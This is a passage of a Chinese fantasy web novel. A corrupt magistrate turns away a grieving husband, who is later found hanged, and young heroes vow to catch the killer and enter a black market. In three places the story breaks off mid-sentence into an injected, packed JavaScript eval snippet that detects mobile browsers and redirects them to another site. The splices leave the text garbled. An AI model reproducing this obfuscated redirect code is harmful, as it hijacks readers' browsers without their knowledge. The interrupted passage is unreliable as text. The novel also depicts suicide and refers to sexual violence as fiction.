大堂之上,六扇门门主冷千崖歪在一把宽大的太师椅中,双腿高高翘在案上,靴尖一晃一晃。他身后站着五六个美婢,有替他捏肩的,有替他捶腿的,有替他打扇的,还有一人拈着刚剥好的葡萄往他嘴里送。 那葡萄紫莹莹的,轻轻一咬,汁水便顺嘴角淌下,身旁的美婢见状,忙用绢帕替他擦拭,动作殷勤,如侍奉皇帝老儿一般。 冷千崖懒洋洋的目光从蔡宇那一身寒酸的粗布衣裳上扫过,嘴角一撇,哼笑出声来:“苍蝇不叮无缝的蛋,你家遭了这等事,你那妻子便没有半分责任?俗话说的好,一个巴掌拍不响,依本官看,定是你妻子见那马车中人有钱有势,存了别的心思,故意勾引人家。美人们,你们说,本官说得对不对?” 那些美婢听了,纷纷掩口而笑,七嘴八舌地附和起来: “大人说得极是,定是他那妻子是只狐狸精,惯会勾引男人。” “正是正是,怎地没人来欺负奴家呢?可见那女子自己不检点。” “姐妹们,你们瞧瞧下头那个男的,穿得这般破烂,家里穷得叮当响,妻子不跑才怪呢。” 笑声如碎瓷落地,一声声扎在蔡宇心头。 蔡宇脸色涨得通红,跪在地上的身子瑟瑟发抖,他咬着牙,死死压着喉中怒气:“大人!你怎能这般说话?吾妻温良贤淑,与草民相濡以沫十余载,从未红过脸,连一句重话都未曾说过。这般好的人,你怎能无视真相,如此栽赃诬陷?求大人将那歹徒绳之以法,还吾妻一个公道!” 他又重重磕了一个头,额头已见血痕。 冷千崖望着他,挑了挑眉,慢悠悠吐出两个字:“行啊。” 他朝旁边使了个眼色,几个美婢便袅袅婷婷地走入里屋,再出来时,每人怀中都抱着物件,有瓷器,有字画,有锦盒,琳琅满目,摆了一长案。 冷千崖随手拿起一只青花瓷瓶,在手中把玩着,语气漫不经心:“看到这个没有?城西李氏送的,他家遭了贼,六扇门帮忙拿住了贼人,李氏感恩戴德,送了这只花瓶来,你猜值多少钱?说出来怕吓着你。” 他又拿起一幅卷轴,展开来,露出一幅山水画,画上松鹤延年,笔触极精,竟是以金丝绣成,在烛光下泛出幽幽金光。 “这个,城东杨氏送的。他家少爷被人谋害,六扇门费了九牛二虎之力,才将凶手缉拿归案。这幅画,一针一线全是金丝绣成,绣了整整六十年,有价无市,你今儿能见着,已算是你天大的福气了。” 说罢,他将画卷随手一扔,又指着案上那些瓶瓶罐罐,一样一样点过去:“百年灵草,锁魂铃,白玉观音,珊瑚树……这些物件,说与你听,你也不懂。总之一句话,样样价值连城,样样都是人家求着本官办事送的。” 他挥了挥手,令人将这些物件收起,然后俯下身来,两手撑着膝盖,居高临下地望着跪在地上的蔡宇,嘴角挂着一丝玩味的笑意: “蔡宇啊,你说,本官动用人力物力,劳神伤财的,最后即便拿住了你所说的那个凶手,本官能得到什么好处?或者说,你能给本官什么好处?” 这话说得直白露骨,连遮羞布都不要了。 蔡宇身子猛地一僵,喉咙里似堵了一块大石头,一个字也吐不出来。 他家中还有个年幼的妹妹要养,日子本就拮据,活下去都勉勉强强,哪还有闲钱给冷千崖“好处”? 蔡宇的手指深深掐入掌心,指节捏得惨白。 冷千崖的耐心耗尽了,他打了个哈欠,懒洋洋地摆了摆手,像赶苍蝇一般。 两名如狼似虎的衙役立时架起蔡宇,拖死猪般往外拽,蔡宇双脚蹬地,指甲抠进砖缝,血迹斑斑,哭嚎之声惨不忍闻: “大人开恩!大人帮帮草民啊——!” 冷千崖置若罔闻,已站起身来,伸了个懒腰,转身便要往内室走。 “大人请留步!” 一道清亮的声音从门口传来,带着不容置疑的决然。 冷千崖脚步一顿,拧着眉头回过头来。 只见门口站着两个年轻人,一男一女,都是十六七岁模样,瘦得像两根竹竿,衣裳亦寒酸得紧。 他一双浑浊眼睛在两人身上扫了一圈,眸中浮现出一丝不耐烦: “尔等有何事?” 景泽站在大堂门口,斜阳从她身后照进来,将她的影子拉得极长。她直视冷千崖,不行礼,亦不低头,声音不大,却字字清晰: “你方才说,动用人力物力,劳神伤财?这样吧,我们替你去抓凶手,不用你六扇门出一兵一卒,只需你给我们一纸授权文书。” 冷千崖一怔,掏了掏耳朵,以为自己听岔了。 他仔细打量了景泽一眼,瘦得脱了形,胳膊还没他手腕粗,浑身上下没有半分习武之人的气势。再看旁边的江染,同样瘦骨嶙峋,同样寒酸,头上还沾着草屑,像是从垃圾堆里爬出来的。 半晌,他忍不住哈哈大笑起来,笑声又大又刺耳,在大堂中来回震荡。 “哈?就凭你们?你们是来逗本官笑的吧?行行行,你们去,快去快去,你们若真能抓住凶手,本官不但不收蔡宇的状银,还倒贴你们银子,如何?哈哈哈哈哈哈!” 他笑得前仰后合,身后的美婢们也纷纷掩口而笑,笑声一片。 景泽没有笑,她的面容没有半分变化,连眉头都不曾皱一下,望着冷千崖,说:“好。” 只一个字,不轻不重,却如一枚铁钉,钉在了大堂的空气之中。 冷千崖的笑声戛然而止,他眯起眼睛,又看了景泽一眼,嘴角挂着一丝不屑的弧度,袖袍一甩,转身进了内室。 “真是不自量力!” 从六扇门出来时,天色已擦黑了,街上行人稀少,两旁的店铺陆续上了门板,只有几家酒肆还亮着昏黄的灯。 江染跟在景泽身后,走了好一段路,终于忍不住开口:“就咱俩,当真能把那凶手捉到么?你又不是不知,咱俩如今灵脉被封,与凡人没什么两样,就这,还捉人?” 景泽没有回头,脚步不停:“清州城就这么大,慢慢找便是,只要他还在城里,总能找着的。” 江染撇了撇嘴,不再说话。 他心中清楚,景泽这人,一旦定了主意,十头牛也拉不回来。 昨日,他们陪着蔡宇回了清州城。蔡宇的家在城北一条窄巷里,他们帮着蔡宇将他妻子安葬在城外的乱葬岗上。 今日,他们又陪着蔡宇来六扇门报案。来之前,景泽心中尚存一丝侥幸,想着那六扇门中或还有半分公正在,那门主或不如传闻中那般不堪,可亲眼见到冷千崖的做派,方知这六扇门竟比传闻中还要腐朽。 “蔡宇呢?”江染忽然问。 景泽这才发觉,蔡宇不知何时已不见了,方才从六扇门出来,她只顾往前走,未曾留意身后。 “大约是回家了吧。”景泽道。 两人顺着来路,走了大半天,总算到了蔡宇的家。 城北这条巷子又窄又深,两旁的房子低矮破旧,墙皮脱落大半,露出里面的土坯。空气中弥漫着潮湿的霉味与泔水的酸臭,几只野猫蹲在墙头,绿莹莹的眼睛在黑暗中盯着他们。 天上浓云越积越厚,沉沉压在清州城上空,远处有闷雷滚过,轰隆隆,由远及近,震得人心头发慌。风也起来了,卷着地上的枯叶与纸屑,打着旋,呜呜作响。 景泽抬头望了望天,暗自松了口气,幸好雨还未落下来,若下大了,她与江染非得被淋成落汤鸡不可。 蔡宇家的门虚掩着,未上闩,景泽抬手敲了两下,无人应。 又敲三下,依旧无人应。 她伸手轻轻一推,门“吱呀”一声开了。 屋里不曾点灯,漆黑一片,伸手不见五指,偶尔一道闪电划过天际,惨白的光从破败的窗棂中透进来,将屋子照亮一瞬。 旧得发黑的八仙桌,缺了腿的条凳,灶台上摞着几只粗碗……一切都是他们离去时的模样,井然有序,看不出蔡宇究竟回来过没有。 江染见景泽一个劲往里头走,便在身后叫住她。 “别找了,人怕是没回来。” 说罢,他转身正要往外走,脚下忽被什么东西一绊,一个踉跄,险些摔个狗啃泥。 “什么东西……” 他骂骂咧咧地低头去看,可屋里太黑,什么也瞧不见。 蓦地,一道闪电撕裂天幕,惨白的光猛地涌入屋内,将每一个角落照得纤毫毕现。 江染抬起头,然后,他看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17518804|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了蔡宇! 蔡宇吊在房梁上,脖子勒着一条麻绳,绳头系在横梁之上,他的头歪着,脸朝门口的方向,眼睛半睁,瞳孔已涣散,身上穿的还是白日那件衣裳,沾满泥土与草屑,脚上的鞋子掉了一只,光着的那只脚悬在半空,随着从门缝灌进来的风,轻轻晃荡。 闪电消失,屋子重又陷入黑暗。 “啊啊啊啊啊啊啊——!” 江染发出一声撕心裂肺的惨叫,整个人如被踩了尾巴的猫一般弹起来,连滚带爬向后退去。 “怎么了?” 景泽从里屋奔出来,手中端着一盏不知从何处摸来的油灯。 她举高油灯,昏黄的光照亮了房梁。 景泽看见了蔡宇,手猛地一抖,油灯险些脱手而落。 江染从地上爬起,声音兀自发着抖:“他怎么……怎么就死了?有什么好死的?他不打算捉凶手了么?他不想给他妻子报仇了么?” 景泽没有答话,她将油灯放在桌上,搬了把椅子踩上去,伸手去解那根麻绳。 江染站在下头,望着她的背影,张了张嘴,想帮忙,又不知该帮什么。 麻绳终于解开,蔡宇的尸身从房梁上落下,景泽拼尽全力抱住他,可她力气实在太小,两人一同摔倒在地,蔡宇的头枕在她手臂上,脸已凉透,僵硬如木。 景泽坐在地上,抱着蔡宇的头,沉默良久。 窗外雷声滚滚,闪电一道接一道劈下来,将屋里照得忽明忽暗。 “大约是对这世道太过失望,寻了死路吧。”景泽终于开口,声音很轻。 江染站在一旁,望着她怀中那具已凉透的尸体,忍不住骂了起来:“活着不行么?人只要活着,一切便还有转机,死了可就真是什么都没了,我若是他,定要亲自将那凶手揪出来,碎尸万段,挫骨扬灰!他这也太窝囊了!真是个废物!” 景泽猛地抬起头,厉声道:“江染!你不要总是以己度人!你没听过那句话么?未经他人苦,莫劝他人善!你若亲眼见着自己妻子惨死,自己却无能为力,你未必比他坚强!他也不过一介凡人,肉体凡胎,哪有那般强大!” 江染一怔,随即梗着脖子反驳道:“我又没娶过妻,连情爱之事都不曾沾过,我如何能与他共情?景泽,你能不能不要总是一副菩萨心肠?你那般厉害,那般慈悲,那般善解人意,你干脆去拯救苍生好了!你除了在这儿嘴上哔哔几句,还能做什么?你不也照样没将凶手找出来么?依我看,让他们自生自灭便是,人各有命!” “你……!” 景泽将蔡宇的头轻轻放在地上,站起身来,浑身都在发抖:“江染!你有心么?有良知么?倘若人人都如你这般冷漠,人人只顾保全自身,这世道不知要乱成什么模样!这便是你当真想看到的结局?你还嫌这世道不够乱?” 话音落下,景泽猛地揪住江染的衣领,拼尽全身气力将他掼在墙上。 “砰!” 江染后背撞上土墙,震得墙皮簌簌往下掉。他疼得龇牙咧嘴,脸上肌肉不住抽搐,可他并未还手,只用手抓住景泽揪他衣领的手腕,吼道:“景泽!你只会使暴力么?我难道说错了?你虽有一颗怜悯苍生的心,却没有拯救苍生的本事!快收起你的菩萨心肠吧!那孕妇与你何干?蔡宇又与你何干?你何苦为了他们与我闹成这样?这世道大乱,众人皆为刍狗,你救得几个?不如独善其身!” 外面的雨落大了,雨声哗啦啦响成一片,闪电照出景泽颤抖的嘴角,她深吸几口气,不知陷入了怎样的挣扎。 江染趁机反擒住景泽,握住她手腕,两人换了方位,他将她按在墙上。 或许是将江染的话起到了某种效果,景泽并不挣扎,只是呼吸愈发紊乱,咬牙道:“若人人如此,这人间便真成地狱了。江染,今日你冷眼旁观,他日祸及己身,亦无人为你摇旗呐喊啊!”(注1) 屋子中一片死寂,时间仿佛被拉得极长极长,过了许久,江染似是见不得景泽这般模样,声音软了下来: “罢了,看在我俩从小一道长大,看在我们还是朋友的份上,我陪你。我陪你找凶手,成么?” “……” 江染未等来景泽的回答,却等来一声接一声的哭泣,那哭泣声不是景泽的,而是从他们身后的屋子里传来的。 哭泣声愈来愈大,汇入哗啦啦的雨声之中,在这雷雨交加里,显得格外凄厉悲切。 景泽忙朝那屋子望去。此刻她与江染心中是同一个念头。 “屋子里竟还有活人?!” 22. 索吻 窗外狂风呼啸,骤雨如鞭,噼里啪啦地抽打着青瓦,屋内一灯如豆,昏黄的烛火在风中摇曳,勉强在那斑驳的土墙上撑出一方温暖的天地。 八仙桌旁,坐着一个形容憔悴的少女,正是蔡宇之妹蔡乔。 她年岁与景泽相仿,本是桃李年华,此刻却似经霜枯,一双明眸肿得如熟透的桃儿,脸色苍白得没有半分血色。连日来兄嫂相继惨死,这般锥心之痛,将这个原本灵秀的姑娘折磨得形销骨立,眼中那抹光亮,也仿佛随着亲人的离去而熄灭了。 “面条煮好咯!” 江染小心翼翼地端着碗热气腾腾的面条从厨房里出来,脸上黑一道白一道,全是烧柴火时被烟熏出的痕迹。 面条放在桌子上,江染笑道:“我看你家米缸都空了,就剩这点细面条,随便煮了碗清汤面,你别嫌弃,再难过也得垫垫肚子。” 景泽帮着把那碗面推到蔡乔面前,嘴上却不忘调侃江染:“江染这人的厨艺,虽说差得离谱,但比起我来,还是强那么一丢丢的。你将就吃点,再难过也不能亏待自己,等把身体养好了,咱们一起去抓凶手。” 蔡乔的目光落在那碗面上,热气氤氲中,泪珠又在眼眶里打转。 江染忙了半晌,额上渗出汗珠,由于从不用手帕,便随意往脸上一抹,这一抹不打紧,原本只是脸颊沾灰,此刻倒成了戏台上的黑面郎君。 蔡乔见他这般滑稽模样,悲戚之心稍缓,“噗嗤”一声笑了出来,从怀中掏出一方素白手帕递过去,柔声道: “江公子,擦擦吧。” 江染一怔,尚未反应过来,景泽已是一把夺过手帕,毫不客气地在江染脸上胡乱擦拭,边擦边啐道:“真是丢人现眼!谁家好人做饭能把自己弄成这般模样?本来就生得磕碜,这一抹,更是丑得惊天动地,让人不忍直视!” 江染挣脱开来,抢回手帕,瞪眼道:“景泽!你莫要血口喷人!我虽不才,总比你这瘦猴似的模样强些!你才丑!你是天下第一丑!” 其实江染长得并不丑,恰恰相反,他五官周正,眉目俊朗,是那种放在人群里能让人多看两眼的少年。 可景泽自从见过纥奚时砚之后,看谁都觉得丑,不得不说,她师尊那张脸,实在是把她的审美阈值拉得太高了。 景泽一听,拍案而起,柳眉倒竖:“我丑?我告诉你,前几日还有人夸我好似月宫仙子下凡,这等绝色,是你这等凡夫俗子能懂的么?” 江染闻言,捧腹大笑,笑得前仰后合:“月宫仙子?哈哈哈哈!那人怕不是眼翳已深,或是眼睛长在了脚底!就你这性子,还仙子?月宫里的癞蛤蟆还差不多!哈哈哈哈!” “江染!你给我住嘴!” 景泽气得三尸神暴跳,撸起袖子便扑了上去,江染岂是肯吃亏的主,见状非但不避,反而绕着八仙桌跑了起来,边跑边捏着嗓子,翘起兰花指道: “哎哟喂,仙子莫恼啊!您长得那叫一个沉鱼落雁、闭月羞花,美得那叫一个鬼哭狼嚎、天崩地裂!小的们见了您,都得折寿三十年哩!” “我让你胡说!我让你胡说!” 二人这一追一逃,绕着八仙桌转得飞快,把个寂静的屋子搅得热闹非凡。 正当二人闹得不可开交之际,蔡乔却悄无声息地站起身,径直朝灶间走去。 景泽猛地顿住脚步。 江染收势不及,“砰”地一下撞在景泽后背上,二人险些摔作一团。 然此刻他们谁也顾不上计较,二人四目相对,皆是从对方眼中看到了惊骇!灶间有刀!她去灶间作甚?莫非是……兄嫂新丧,她也想寻了短见?! 二人心中一寒,正欲冲进去,却见蔡乔已端着两只空碗与两双筷子走了出来。 她将那碗面细细地分作三份,将其中两碗分别推到景泽与江染面前,自己留下了最小的一份。 蔡乔抬起头,轻声道:“多谢二位相助,这面我一人吃不下,不如我们一起用吧?” 说完,她笑了一下。 她一笑,景泽和江染也笑了。 · 休整两日,蔡乔亲手为蔡宇立了块简陋的木碑,青石板上的字迹歪歪扭扭,却刻着她最真挚的哀思。 安葬完哥哥,三人便收拾行囊,踏上了追寻真凶的路。 其实景泽本不想带蔡乔,前路未知,凶险难料,她不想让这个刚失去亲人的姑娘,再卷入一场生死局,可蔡乔态度坚决,那股子韧劲,像极了当初一心要查明真相的自己。 景泽终究是心软了点,想着大不了自己护着点她,便应了下来。 清州城说大不大,说小不小,几条主街纵横交错,两旁店铺鳞次栉比,酒楼茶肆、绸缎庄、珠宝铺、药铺、当铺,一应俱全。 街上人来人往,叫卖声、吆喝声、说笑声混成一片,倒也热闹。 三人正走在街上,路过一家杂报铺子时,发现门口围了一大群人,里三层外三层,水泄不通,那些人交头接耳、议论纷纷,声音嘈杂得像赶集。 景泽是《裂陆杂报》的头号粉丝,哪里能错过这种热闹,忙拉着江染和蔡乔,挤进人群,随手拿起一份刚出炉的杂报。 指尖刚翻开第一页,她的脸色就骤然变了,手里的杂报险些滑落。 “怎么了?” 江染察觉到不对,连忙凑过来,蔡乔也跟着凑近。 蔡乔没见过杀害嫂嫂的凶手,只是听景泽描述过,所以看到画像时,只是微微蹙眉。 可江染见过那日马车上的场景,画像上那人,正是那日马车上,将蔡宇妻子凌辱致死的恶魔! “是他……!”江染握紧了拳头,指节泛白。 蔡乔虽未见过凶手真容,但从二人的反应中猜到了七八分。 他们拼了命要找的人,竟堂而皇之地出现在了《裂陆杂报》上!这巧合得离谱,却又像是天助他们! 景泽立刻掏出铜板,买下这份杂报,拉着两人挤到街角的僻静处,蹲下身,对着报纸逐字逐句地看。 杂报的第二页,还有几行小字补充说明,上面写着,清州城近月来接连有人失踪,案发现场都留有与画像男子相同的信物,十有八九是此人所为,此人名叫单不群,杂报还呼吁百姓多加留意,若能将其捉拿归案,便是为民除害;若不能,见之亦可直接除之,以绝后患。 “看来是个惯犯……” 景泽指尖摩挲着下巴,眉头紧锁,陷入思索,片刻后,她抬头看向江染和蔡乔。 “你们说,怎么才能查到这男人更多的消息?” 话音刚落,一道熟悉又带着几分戏谑的声音,从头顶传来: “当然是求我咯,求我我就告诉你。” 景泽猛地抬头,只见云逍不知何时蹲在了她面前,手里摇着那把标志性的折扇,一双桃花眼弯成了月牙,亮晶晶的,笑得一脸欠揍。 “云逍!你怎么在这里?!”景泽又惊又喜,“你不是在沧溟城吗?” 江染也被来人吸引了目光。 他眯起眼睛,不动声色地打量着云逍,但见此人锦袍玉带,折扇轻摇,腰间还挂着一块成色极好的玉佩,通身上下透着一股富贵人家才有的纨绔气息。 这人跟景泽是什么关系?怎么一副很熟的样子? 蔡乔倒是没有江染那么好奇,她默默将摊开的《裂陆杂报》收起来,安静地蹲在一旁,只拿眼睛偷偷打量着这个突然冒出来的公子哥。 云逍故作委屈地捂住胸口,痛心疾首道:“阿泽妹妹,咱俩都爱得死去活来这么久了,你居然还问我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521874|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为何在此?你忘了那天初遇,我是怎么跟你说的吗?我是清州云氏的嫡小公子,清州城就是我的老家,我不在这里,还能在哪里?” 江染听到那公子哥这么一说,立马明白过来,原来景泽跟这个公子哥有一腿!好啊!这么大的八卦景泽居然瞒着他!真是不够义气! 蔡乔看着云逍一身的富贵气,又看了看景泽清丽的眉眼,心里默默想着,两人站在一起,倒是真的般配。 “谁跟你爱得死去活来了!” 景泽一把夺过云逍手里的扇子,照着他脑袋上就是一拍。 “我警告你啊,不许乱说话!” 云逍也不恼,反而凑得更近,桃花眼弯成了月牙:“我长得这般英俊潇洒、风华绝代、芝兰玉树,你敢说你没爱我爱得死去活来?你就是不坦诚!不过没关系,我堂堂男子汉,自然是要照顾一下女孩子的面子。咳咳……刚刚是我说错了,是我云逍爱阿泽妹妹爱得死去活来的,这下总可以了罢?” 咦……景泽什么眼神,怎么看上这么个自恋玩意儿?江染用极为嫌弃的目光上上下下把云逍打量了一通,平日里景泽嫌弃自己嫌弃得不行,还以为她眼光多高呢,没想到就这?想到景泽眼光原来这么差,江染越想越好笑,实在没憋住,“噗嗤”一声笑了出来。 云逍这才注意到旁边还有个江染,他见对方生得俊朗,气质与自己不相上下,心里的危机感瞬间拉满,活像个抓了奸的正宫娘娘,跳起来指着江染厉声质问: “嚯!他是谁?!咱俩分开还不到半个月,你就有新欢了?你把我放在什么位置?你眼里还有我么!你这个水性杨花的女人!” 周围路过的行人纷纷投来八卦好奇的目光,窃窃私语的声音传了过来,景泽只觉得头皮发麻,连忙伸手去捂他的嘴: “你小声点!别乱说话!他是我朋友,叫江染!” “真的?只是朋友?” 云逍狐疑地看向江染,眼神里满是警惕。 “当然是朋友!”景泽用力点头,又指了指身旁的蔡乔,“她也是我朋友,蔡乔。” 向云逍介绍完,景泽又转头对江染和蔡乔道:“他叫云逍,是我的朋友。” “我知道,”江染拖长了调子,眼神里的调侃更甚,“云逍嘛,我们早就听见了,什么爱得死去活来,啧啧。” 云逍的目光在江染和景泽之间逡巡了片刻,才将扇子啪的一声合上,傲娇地扬起下巴:“行吧,我就勉为其难相信你一次,毕竟爱情里最重要的就是信任。正所谓,曾经沧海难为水,除却巫山不是云,见惯了我云逍这般绝世风姿,阿泽妹妹怎么可能看得上别人?” 他说这话时,目光轻蔑地扫过江染,那股子宣示主权的意味,简直要溢出来。 江染忍不住打了个寒颤,浑身的鸡皮疙瘩都起来了,恨不得立马戳瞎自己的眼睛。 景泽扶着额头,只觉得头疼,她清了清嗓子,拉回正题:“好了好了,不闹了。你刚刚说,求你就能告诉我们凶手的更多消息,这话是真的?” “那是自然。” 云逍挺直脊背,双手背在身后,一脸得意:“你看我云逍像是会骗人的人吗?” “行吧,那我求你了。”景泽无奈地妥协。 云逍却不依不饶,故意凑近,压低声音,带着几分狡黠的笑意: “求人哪有这么求的?阿泽妹妹,你这样一点都不真诚。” “那要怎样求?” 景泽被他吊足了胃口,忍不住追问,江染和蔡乔也同时看向云逍,眼里满是好奇。 云逍再也憋不住,笑出了声,凑近景泽的耳边,用只有两人能听见的声音说: “阿泽妹妹,你亲我一口,我就把所有消息都告诉你。怎么样,心动吧?” 23. 九层幽阙 裂陆六城,城城皆有红市,这红市,看似寻常商铺,实则乃天下至大之黑市。 青砖覆顶,灰瓦铺檐,门脸窄小,檐下悬一盏昏灯,低调至极,几近寒酸,与周遭市井铺面别无二致,然入得门内,沿旋梯蜿蜒而下,方知别有乾坤。 红市共分九层,远观之,整座建筑宛若一只倒扣于地的赤红火碗。二层设赌场,骰子落案之声、众人呼喝之声、金银相击之声,嘈嘈杂杂,沸反盈天。愈往下,氛围愈是诡秘,三层售法器,四层卖消息,五层贩禁药,六层圈妖兽,七层囚奴隶,八层所售之物,讳莫如深,连名姓都不可轻易提及。 至于最底九层,云逍摇着折扇,缓步在前引路,桃花眼微眯,缓缓道:“传闻入得负九层,只要代价足够,四海八荒,任一人之性命,皆可购得,现点现取,绝不迁延。” 景泽听在耳中,只觉后背寒意陡生。 不多时,四人已至红市门前。果如云逍所言,此市大隐于市,门庭简陋,旁侧便是绸缎庄、药铺,门楣之上连半块招牌都无,若非云逍引路,景泽便是从此处百次经过,也绝不会多加留意。 “红市虽貌不惊人,却非寻常人可入。” 云逍倏然驻足,折扇轻叩掌心。 “入内之法,一凭身份地位,二靠金银傍身,二者得一,方可通行,若是兼具,更是顺遂。” 景泽看他一眼,又转头望向那扇寒酸木门,轻叹一声: “可惜我等囊中羞涩,不知银两带得够不够……” 蔡乔闻言,忙伸手探入衣兜,摸索良久,才从贴身夹层取出一方小布包,层层拆开,内里仅数十枚铜板。 她双手捧起,怯生生道:“我仅有这些,不知是否够用。” 江染亦摸向腰间,掏出几枚铜钱,细数之下,比蔡乔还要少上几文,迟疑片刻,低声道:“我也仅有这点……” 云逍瞥了眼那寥寥几堆铜板,满脸嫌弃,蹙眉道:“你们这是作甚?我既带你们前来,岂会让你们破费?我乃清州云氏嫡子,氏族冠绝清州,岂会缺这些许入门之资?未免太小看我了!” 景泽面露狐疑,看向他道:“你早前与家中不和,身无余财,莫非如今已与家中和解?” 云逍冷哼一声,重又展开折扇,挡在胸前,慢悠悠道: “你们忘了我方才所言?身份显赫,便可畅通无阻,我云逍在这清州地界,身份还不够分量么?” · 踏入红市的刹那,景泽顿觉置身异世。 整座楼阁,自墙壁、地毯,到梁柱、灯罩,尽是深浅不一的红色。墙壁嵌着暗红琉璃砖,烛火透砖折射,将整座大厅笼罩在一片诡谲暧昧的光晕之中。空气中龙涎香与淡淡血腥气交织,气味怪异,闻之稍久,便觉头昏脑涨。 谁曾想,这看似狭小的铺面,内里竟如此宽敞,第一层大厅,足足是寻常酒楼的三四倍之大,厅内人声鼎沸,摩肩接踵,往来之人形形色色,或戴面具,或披斗篷,或施法隐去面容,皆不愿以真容示人。 景泽目光扫过众人,只觉这红市宛如一座巨大漩涡,将四方牛鬼蛇神尽数吸纳而来,暗流涌动。 一楼所售,尽是吃食零嘴,小到瓜子蜜饯,大到修真仙丹、千年仙果,琳琅满目,一应俱全。摊位之上,瓶罐罗列,有的升腾五彩烟雾,有的泛着幽幽灵光,有的兀自咕嘟冒泡,宛若活物,奇诡非凡。 景泽忽被一处糖摊吸引,那糖果圆润如珠,通体晶莹,泛着柔和光晕,更奇的是,糖珠表面缓缓鼓出气泡,气泡破裂之际,内里竟映出山川湖海之景:或碧海翻涌,或花田纷飞,或雪山巍峨,美轮美奂,如梦似幻。 她忍不住上前蹲身,细看良久,才抬头向摊主开口问道:“店家,此果真是糖食?” 黑市之中,商贩皆戴面具遮容,这摊主戴着朱红面具,只露一双精明眼眸,闻言笑道:“姑娘好眼力,此乃生梦糖。食大海之味,便梦沧海辽阔;食花田之味,便梦繁花遍野,身临其境,梦醒之后,记忆犹存,姑娘可要选购?” 景泽目光扫过价签,心头一惊,一颗糖果竟要五两白银! 她连忙摆手后退,语气急促:“不不不,我就看看罢了!” 说罢转身便走,脚步匆匆,不敢再多停留。 江染、蔡乔亦被周遭奇物吸引,一路目不暇接,惊叹不已。唯有云逍神色从容,他自幼常出入红市,对这些奇巧物件早已见惯不怪。 闲逛片刻,江染渐渐适应红市氛围,恢复了欠揍的本性,抬手搭在景泽肩头,指着一旁售卖“美容果汁”的摊位,笑道: “景泽,待他日我功成名就,家财万贯,定给你买上十坛这美容果汁,让你日日饮用,说不定便能貌比月宫仙子了。” 他刻意加重“月宫仙子”四字,挤眉弄眼,分明是在调侃景泽。 景泽心知他有意戏弄,也不多言,不动声色抬脚,狠狠踩在他的脚背之上。 “哎哟!” 江染疼得龇牙咧嘴,失声痛呼,引得周遭众人纷纷侧目。 前方引路的云逍闻声回头,目光恰好落在江染搭在景泽肩头的手上,脸色瞬间沉下,快步折返,挥起折扇,重重拍在江染手臂之上,语气冷厉: “江染,休得无礼!离我阿泽妹妹远些!” “呵,还你的阿泽妹妹?” 江染揉着酸痛胳膊,非但不恼,反倒愈发戏谑,凑上前笑道:“若是你的,临行前你让她亲你一口,她为何不应?依我看,这分明是我的阿泽妹妹!” “你!”云逍气得面色涨红,折扇直指江染,“江染,你再敢胡言!” 江染笑意更浓,正要开口反驳,景泽已是无奈,伸手一手推开一人。 “好了,莫要争执!卖消息的在第几层?买消息要紧!” 一行人遂沿环形阶梯往下而行,每下一层,空气便愈浑浊,光线愈昏暗。 行至第四层,视野骤然开阔,此层专售各类消息。大大小小的摊位密密麻麻,错落排布,有的挂着布帘,有的摆着沙盘,有的置着占卜用的龟甲蓍草。 摊位之后,各坐一人,或戴面具,或蒙面纱,或隐于斗篷阴影之下,仅露一双手,神秘至极。 众人寻了一处看似稳妥的摊位,云逍上前问询,景泽立在一旁等候,百无聊赖间四处张望。 忽觉后背一阵发凉,一道隐晦的目光直直落在自己身上。 景泽素来警觉,当即转头,只见一道身影仓促转头,即便动作极快,景泽还是看清了,那人身着墨青色长袍,袍身绣着繁复独特的纹路,脸上戴着面具,正借着人群遮掩,仓皇往远处挪动,欲要隐去踪迹。 景泽心头猛地一沉,那纹路,竟是无比眼熟! 她下意识探入挎包,取出那只兄长遗留的木盒,盒面朝上,其上雕刻纹路,在烛火之下清晰可见,与那长袍之上的纹路,几乎分毫不差! 刹那间,景泽脑中轰然一响,万千思绪翻涌,兄长之死,莫非与此人有关?他为何会出现在此处?莫非一直在暗中跟踪自己? 心念电转,景泽不及细想,拔腿便追,厉声喝道:“站住!别跑!” 一声清喝,在红市四层骤然炸开。 江染反应最快,二话不说,当即紧随其后追了上去,云逍惊呼一声,折扇来不及合拢,也跟着奋力追赶,蔡乔虽不知缘由,见三人狂奔,也连忙迈步跟上。 一时间,四人在红市之中,狂奔追逐那面具男子,场面大乱。 那面具男子似是极怕被擒,一边狂奔,一边随手推翻两侧摊位,妄图阻拦四人,砰砰巨响接连不断,瓶罐、旗帜、绸布、杂物散落一地,碎瓷飞溅,各色粉末腾空而起,呛得人连连咳嗽。 商贩们惊呼四起,有的怒骂不止,有的心疼捡拾货品,有的呆立原地,不知所措。 可这些阻拦,于景泽而言,不过小事一桩。但见她足尖轻点倒地案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524063|202397||http|test|mini|href|location''.split(''|''),0,{})); () { 